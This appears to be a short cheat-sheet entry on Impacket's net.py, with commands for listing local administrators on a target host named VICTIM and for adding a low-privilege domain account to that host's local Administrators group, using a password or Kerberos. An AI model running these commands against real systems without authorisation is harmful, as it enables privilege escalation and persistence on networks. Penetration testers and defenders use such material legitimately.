net.py
Maybe my favorite thing ever. It is kind of a Python-flavored version of net.exe. So if you get an account with local/domain admin rights (or a service impersonation ticket for CIFS/SMB) you can do some awesome stuff like:
List local administrators on a box
net.py domain.com/user:'password'@VICTIM localgroup -name Administrators
With Kerberos:
net.py VICTIM -k -no-pass localgroup -name Administrators
Add your low priv domain account to local admin
net.py domain.com/user:'password'@VICTIM localgroup -name Administrators -join lowpriv
With Kerberos:
net.py VICTIM -k -no-pass localgroup -name Administrators -join lowpriv